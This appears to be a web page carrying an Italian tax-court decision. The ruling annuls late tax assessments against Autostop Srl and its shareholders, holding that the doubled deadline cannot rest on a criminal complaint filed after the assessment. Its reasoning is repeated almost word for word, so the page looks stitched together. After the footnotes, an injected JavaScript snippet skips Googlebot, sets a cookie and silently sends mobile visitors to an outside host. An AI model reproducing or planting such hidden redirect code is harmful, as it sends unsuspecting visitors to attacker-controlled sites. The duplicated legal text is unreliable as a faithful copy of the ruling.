Secondo gli artt. 57 del D.P.R. n. 633 del 1972 e 43 del DPR n. 600/73 “Gli avvisi di accertamento devono essere notificati, a pena di decadenza, entro il 31 dicembre del quarto anno successivo a quello in cui è stata presentata la dichiarazione” Dunque, il termine ordinario per emettere accertamenti riguardanti il periodo d’imposta 2006 è venuto meno a partire dal 31 dicembre dell’anno 2011, mentre l’atto in questione è stato notificato l’8 febbraio 2012, quindi fuori termine.

Il termine ordinario previsto dagli artt. 57 e 43, comma 1, può però essere derogato in forza della disposizione contenuta nel comma 3 dei medesimi articoli, secondo cui, “in caso di violazione che comporta obbligo di denuncia ai sensi dell’articolo 331 del codice di procedura penale per uno dei reati previsti dal D.Lgs. 10 marzo 2000, n. 74” detto termine risulta raddoppiato.

L’Agenzia delle Entrate ha inteso procedere in base a questa disposizione ravvisando nel comportamento tenuto dalla società, e per essa l’amministratore, gli elementi per costituire il reato tributario disciplinato dall’articolo 3 del D.Lgs. n. 74 del 2000.

Invero, l’utilizzo del termine più ampio per accertare i redditi della società, non appare rispondere ad effettive esigenze di indagine penale.

La ricorrente eccepisce, senza che sul punto vi sia contestazione dell’Ufficio, che la denuncia penale risulta essere stata inoltrata in un momento successivo all’emissione dell’avviso di accertamento, dunque, si sarebbe posta come conseguenza dell’emissione dell’avviso di accertamento, piuttosto che rappresentarne l’origine.

Il 30 gennaio 2012, a termini di accertamento scaduti, è stato formato l’avviso di accertamento; il 28 febbraio 2012 è stato proposto ricorso, mentre solo il 27 settembre 2012, a seguito dell’eccezione di decadenza mossa nel ricorso, è stata presentata denuncia penale da parte dell’Ufficio, rimasta ignorata, ciò a dimostrare un utilizzo poco ortodosso della denuncia penale, volta unicamente a legittimare l’accertamento tardivo.

Il Collegio, quindi, ritiene che alla data del 31 dicembre 2011 fossero decaduti i termini per emettere l’accertamento, ai sensi degli gli artt. 57 del D.P.R. n. 633 del 1972 e 43 del D.P.R. n. 600 del 1973.

È il caso di ricordare, a tal proposito, i principi affermati dalla Corte Costituzionale nella sentenza n. 247 del 25 luglio 2011 (3), secondo cui la possibilità prevista dalle norme di emettere accertamenti al di fuori di tali termini ordinari “non implica che la legge attribuisca all’amministrazione finanziaria l’arbitrario ed incontrollato potere di raddoppiare i termini brevi” di accertamento. Quanto all’asserita arbitrarietà infatti, il raddoppio non consegue da una valutazione discrezionale e meramente soggettiva degli uffici tributari, ma opera soltanto nel caso in cui siano obiettivamente riscontrabili, da parte di un pubblico ufficiale, gli elementi richiesti dall’art. 331 cod. proc. pen. per l’insorgenza dell’obbligo di denuncia penale. Per costante giurisprudenza della Corte di cassazione, tale obbligo sussiste quando il pubblico ufficiale sia in grado di individuare con sicurezza gli elementi del reato da denunciare (escluse le cause di estinzione o di non punibilità, che possono essere valutate solo dall’autorità giudiziaria), non essendo sufficiente il generico sospetto di una eventuale attività illecita (ex plurimis, sentenze della Cassazione penale n. 27508 del 2009; n. 26081 e n. 15400 del 2008; n. 1244 del 1985; n. 6876 del 1980; n. 14195 del 1978). Va, inoltre, sottolineato al riguardo che il pubblico ufficiale – allorché abbia acquisito la notitia criminis nell’esercizio od a causa delle sue funzioni – non può liberamente valutare se e quando presentare la denuncia, ma deve inoltrarla prontamente, pena la commissione del reato previsto e punito dall’art. 361 cod. pen. per il caso di omissione o ritardo nella denuncia; in ogni caso, aggiunge infatti la Corte Costituzionale nella citata sentenza n. 247 del 2011, spetta al giudice tributario controllare la sussistenza dei presupposti dell’obbligo di denuncia, attraverso una valutazione ora per allora circa la loro ricorrenza e accertare, quindi, se l’amministrazione abbia agito con imparzialità o, invece, abbia fatto un uso pretestuoso e strumentale delle disposizioni al solo scopo di fruire del più ampio termine di accertamento.

Pertanto, la denuncia penale inoltrata solo dopo l’avviso di accertamento, e il fatto che la Procura non abbia ancora inteso agire nei confronti dell’amministratore della società non possono considerarsi quali elementi esclusivi per orientare la decisione del giudice, ma appaiono tuttavia significativi nell’operare la valutazione sulla esistenza, ora per allora, dei suddetti presupposti. E dunque, dall’esame degli atti di causa e delle ipotesi formulate dall’amministrazione, la valutazione di cui è investita questa Commissione circa la rilevanza penale, anche solo potenziale, delle condotte denunziate, non consente di concludere che le stesse integrino i presupposti stabiliti dall’articolo 3 del D.Lgs. n. 74 del 2000 per la contestazione del reato ipotizzato, principalmente sotto il profilo della riferibilità all’amministratore della Autostop Srl di tutte le operazioni formalmente realizzate dalla Parts Auto Srl e della verifica del superamento delle soglie previste dalla norma.

L’accertamento di merito operato sugli atti di causa che qui compete non consente di affermare che il comportamento descritto possa individuarsi come delittuoso, e specificamente nel reato di cui all’articolo 3 del testo sui reati tributari, che punisce chi, sulla base di una falsa rappresentazione nelle scritture contabili obbligatorie e avvalendosi di mezzi fraudolenti idonei a ostacolarne l’accertamento, indica in una delle dichiarazioni annuali elementi attivi per un ammontare inferiore a quello effettivo o elementi passivi fittizi che eccedano delle soglie quantitative.

Nella ricostruzione che ha indotto l’Agenzia delle Entrate a ritenere che vi fosse obbligo di denuncia penale, si ritiene di imputare alla società ricorrente le operazioni in realtà fatturate da un altro soggetto giuridico, ipotizzando pertanto una interposizione fittizia della Parts Auto srl. Tuttavia, gli elementi che giustificherebbero una tale ipotesi non appaiono ragionevolmente sufficienti a supportarla. E infatti si parla di interposizione fittizia quando il soggetto che figura formalmente quale contraente in realtà agisce quale prestanome di altri, con il discarico delle conseguenze compiute dal prestanome in capo al reale artefice. Orbene, il rinvenimento nel domicilio dell’amministratore della ricorrente di fax in realtà destinati o inviati dalla Pars Auto, il fatto di avere lo stesso consulente fiscale, il fatto che la Pars Auto non disponesse di un parcheggio proprio, appaiono come elementi che possono testimoniare, al limite, una ingerenza di altri soggetti nella gestione degli affari facenti capo alla Pars Auto, ma non possono supportare l’imputazione del reato disciplinato dall’articolo 3 del D.Lgs. n. 74 del 2000, poiché non sufficienti a dimostrare pienamente l’interposizione fittizia. Né dagli altri elementi che si possono evincere dagli atti di causa si può giungere a tale conclusione.

Entrando nel merito la commissione ritiene che le doglianze sollevate da singoli soci debbano trovare accoglimento per ciò che riguarda la preliminare questione della tempestività dell’azione impositiva, in relazione alla estensione anche ai soci del termine raddoppiato di accertamento.

È il caso di ribadire che secondo l’articolo 43 del D.P.R. 29 settembre 1973, n. 600 “Gli avvisi di accertamento devono essere notificati, a pena di decadenza, entro il 31 dicembre del quarto anno successivo a quello in cui è stata presentata la dichiarazione”. Dunque, il termine ordinario per emettere accertamenti riguardanti il periodo d’imposta 2006 è venuto meno a partire dal 31 dicembre dell’anno 2011, mentre l’atto in questione è stato notificato oltre questa data.

Il termine ordinario previsto dall’articolo 43, comma 1, può però essere derogato in forza della disposizione contenuta nel comma 3 del medesimo articolo, “in caso di violazione che comporta obbligo di denuncia ai sensi dell’articolo 331 del codice di procedura penale per uno dei reati previsti dal D.Lgs. 10 marzo 2000, n. 74” .

L’Agenzia delle Entrate ha inteso procedere in base a questa disposizione ravvisando nel comportamento tenuto dalla società, e per essa l’amministratore, gli elementi per costituire il reato tributario disciplinato dall’articolo 3 del D.Lgs. n. 74 del 2000. Successivamente, sulla base dell’avviso di accertamento emesso nei confronti della società, ha emesso ulteriori due avvisi di accertamento rivolti ai soci della società di capitali, all’epoca dei fatti, ipotizzando una distribuzione degli utili accertati sul criterio della ristretta base azionaria (dato il numero esiguo di soci, due).

Anche l’accertamento al socio, dunque, viene emesso oltre il termine ordinario, pur se nelle condotte ad esso contestate, sempre con una presunzione, non si ravvisa alcun comportamento che possa costituire reato tributario, e infatti nulla viene contestato loro in tal senso. Si deve considerare che l’accertamento rivolto al socio muove da un autonomo presupposto e da un autonoma presunzione fiscale, che è quella della percezione dei maggiori utili non contabilizzati alla luce dello scarso numero di componenti della base sociale. Non si tratta, dunque, di un automatismo, come avviene nelle società di persone, dove il reddito accertato alla società viene tassato direttamente in capo ai soci, bensì su un ragionamento ulteriore, che ipotizza per i soci la distribuzione di quegli utili in ragione della base ristretta.

Sotto questo aspetto, quindi, non può equipararsi la posizione soggettiva della società, che viene accertata oltre il termine ordinario sul presupposto del reato tributario commesso o ipotizzato, e la posizione dei soci, che vengono invece sottoposti ad accertamento su un presupposto diverso, la distribuzione di utili per ristrettezza della base sociale, comportamento che non ha alcuna rilevanza penale.

Per gli accertamenti emessi nei confronti dei soci non si è in presenza di una violazione che comporta obbligo di denuncia penale per uno dei reati tributari previsti dal D.Lgs. n. 74 del 2000, che rappresenta l’indispensabile presupposto per procedere ad un accertamento oltre gli ordinari termini. Per di più, “la responsabilità penale è personale e quindi non può esservi un automatismo nella punibilità penale e conseguentemente un automatismo nel raddoppio dei termini dato che quest’ultimo è dal Legislatore ancorato ad una contestuale individuabilità, per la medesima fattispecie, di ipotesi di reato che comporta obbligo di denuncia penale” (C.T.P. di Treviso n. 112 del 2 dicembre 2010(4) versata in atti dai ricorrenti).

Per questi motivi deve disattendersi l’automatico utilizzo del termine doppio d’accertamento, per quanto concerne gli avvisi rivolti ai soci ed emessi su presupposto della base ristretta.

Invero, anche l’utilizzo del termine più ampio per accertare i redditi della società non appare rispondere ad effettive esigenze di indagine penale.

I contribuenti eccepiscono, senza che sul punto vi sia contestazione dell’Ufficio, che la denuncia penale risulta essere stata inoltrata in un momento successivo all’emissione dell’avviso di accertamento, dunque, si sarebbe posta come conseguenza dell’emissione dell’avviso di accertamento, piuttosto che rappresentarne l’origine.

Il 30 gennaio 2012, a termini di accertamento scaduti, è stato formato l’avviso di accertamento; il 28 febbraio 2012 è stato proposto ricorso mentre, solo il 27 settembre 2012, a seguito dell’eccezione di decadenza mossa nel ricorso, è stata presentata denuncia penale da parte dell’Ufficio, rimasta ignorata; ciò a testimoniare un utilizzo poco ortodosso della denuncia penale, volta unicamente a legittimare l’accertamento tardivo.

Il Collegio, quindi, ritiene che alla data del 31 dicembre 2011 i termini per emettere l’accertamento fossero decaduti a norma del 1 comma dell’articolo 57 del D.P.R. n. 633 del 1972 e dell’articolo 43 primo comma del D.P.R. n. 600 del 1973.

È il caso di ribadire, a tal proposito, i principi affermati dalla Corte Costituzionale nella sentenza n. 247 del 25 luglio 2011 secondo cui la possibilità prevista dalle norme di emettere accertamenti al di fuori di tali termini ordinari «non implica che la legge attribuisca all’amministrazione finanziaria l’arbitrario ed incontrollabile potere di raddoppiare i termini “brevi” di accertamento. Quanto all’asserita arbitrarietà, infatti, il raddoppio non consegue da una valutazione discrezionale e meramente soggettiva degli uffici tributari, ma opera soltanto nel caso in cui siano obiettivamente riscontrabili, da parte di un pubblico ufficiale, gli elementi richiesti dall’art. 331 cod. proc. pen. per l’insorgenza dell’obbligo di denuncia penale. Per costante giurisprudenza della Corte di cassazione, tale obbligo sussiste quando il pubblico ufficiale sia in grado di individuare con sicurezza gli elementi del reato da denunciare (escluse le cause di estinzione o di non punibilità, che possono essere valutate solo dall’autorità giudiziaria), non essendo sufficiente il generico sospetto di una eventuale attività illecita (ex plurimis, sentenze della Cassazione penale n. 27508 del 2009; n. 26081 e n. 15400 del 2008; n. 1244 del 1985; n. 6876 del 1980; n. 14195 del 1978). Và, inoltre, sottolineato al riguardo che il pubblico ufficiale – allorché abbia acquisito la notitia criminis nell’esercizio od a causa delle sue funzioni – non può liberamente valutare se e quando presentare la denuncia, ma deve inoltrarla prontamente, pena la commissione del reato previsto e punito dall’art. 361 cod. pen. per il caso di omissione o ritardo nella denuncia”.

In ogni caso, aggiunge infatti la Corte Costituzionale nella citata sentenza n. 247 del 2011, spetta al giudice tributario controllare la sussistenza dei presupposti dell’obbligo di denuncia, attraverso una valutazione ora per allora circa la loro ricorrenza e accertare, quindi, se l’amministrazione abbia agito con imparzialità o, invece, abbia fatto un uso pretestuoso e strumentale delle disposizioni al solo scopo di fruire del più ampio termine di accertamento.

Pertanto, la denuncia penale inoltrata solo dopo l’avviso di accertamento, e il fatto che la Procura non abbia ancora inteso agire nei confronti dell’amministratore della società non possono considerarsi quali elementi esclusivi per orientare la decisione del giudice, ma appaiono tuttavia significativi nell’operare la valutazione sulla esistenza, ora per allora, dei suddetti presupposti. E dunque, dall’esame degli atti di causa e delle ipotesi formulate dall’amministrazione, la valutazione di cui è investita questa Commissione circa la rilevanza penale, anche solo potenziale, delle condotte denunziate, non consente di concludere che le stesse integrino i presupposti stabiliti dall’articolo 3 del D.Lgs. n. 74 del 2000 per la contestazione del reato ipotizzato, principalmente sotto il profilo della riferibilità all’amministratore della Autostop Srl di tutte le operazioni formalmente realizzate dalla Parts Auto Srl e della verifica del superamento delle soglie previste dalla norma.

L’accertamento di merito operato sugli atti di causa che qui compete non consente di affermare, analogamente a quanto valutato dalla Procura, che infatti non ha intrapreso alcuna azione penale, che il comportamento descritto possa individuarsi come delittuoso, e specificamente nel reato di cui all’articolo 3 del testo sui reati tributari, che punisce chi, sulla base di una falsa rappresentazione nelle scritture contabili obbligatorie e avvalendosi di mezzi fraudolenti idonei a ostacolarne l’accertamento, indica in una delle dichiarazioni annuali elementi attivi per un ammontare inferiore a quello effettivo o elementi passivi fittizi che eccedano delle soglie quantitative.

Nella ricostruzione che ha indotto l’Agenzia delle Entrate a ritenere che vi fosse obbligo di denuncia penale, si ritiene di imputare alla società ricorrente le operazioni in realtà fatturate da un altro soggetto giuridico, ipotizzando pertanto una interposizione fittizia della Parts Auto srl. Tuttavia, gli elementi che giustificherebbero una tale ipotesi non appaiono ragionevolmente sufficienti a supportarla. E infatti si parla di interposizione fittizia quando il soggetto che figura formalmente quale contraente in realtà agisce quale prestanome di altri, con il discarico delle conseguenze compiute dal prestanome in capo al reale artefice. Orbene, il rinvenimento nel domicilio dell’amministratore della ricorrente di fax in realtà destinati o inviati dalla Parts Auto, il fatto di avere lo stesso consulente fiscale, il fatto che la Parts Auto non disponesse di un parcheggio proprio, appaiono come elementi che possono testimoniare, al limite, una ingerenza di altri soggetti nella gestione degli affari facenti capo alla Parts Auto, ma non possono supportare l’imputazione del reato disciplinato dall’articolo 3 del D.Lgs. n. 74 del 2000, poiché non sufficienti a dimostrare pienamente l’interposizione fittizia. Né dagli altri elementi che si possono evincere dagli atti di causa si può giungere a tale conclusione.

Dunque, il Collegio non ritiene, con una propria valutazione operata sugli atti di causa delle condotte descritte, che vi siano i presupposti per attribuire alla parte il reato tributario ipotizzato.

Con ciò viene a cadere il presupposto necessario per fruire di un più ampio termine di accertamento, con risvolti sia nei confronti degli accertamenti della società, sia nei confronti dei soci, e per quest’ultimi sotto una duplice ragione: – poiché senza il raddoppio operato in capo alla società viene meno la possibilità di ipotizzare la distribuzione di utili; – poiché la distribuzione per ristrettezza della base societaria rappresenta una ulteriore costruzione accertativa, che non presenta risvolti penali.

La sentenza, quindi, deve essere riformata, così come in motivazione.

Resta assorbita ogni altra questione, domanda e/o eccezione prospettata dalle parti o rilevabile d’ufficio.

Giusti motivi, consistenti in apprezzabili e comprensibili ragioni di difesa, anche per la complessità della materia del contendere in ordine alla valutazione dei presupposti per il raddoppio dei termini, inducono a compensare integralmente le spese tra le parti.

P.Q.M. – La Commissione accoglie l’appello della Autostop Srl e dei soci P.F. e M.R. Spese compensate.

(1) Cass. 31 gennaio 2011, n. 2214, in Boll. Trib. On-line.

(2) Cass. 4 giugno 2008, n. 14815, in Boll. Trib. On-line.

(3) In Boll. Trib., 2011, 1489.

(4) In Boll. Trib. On-line.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *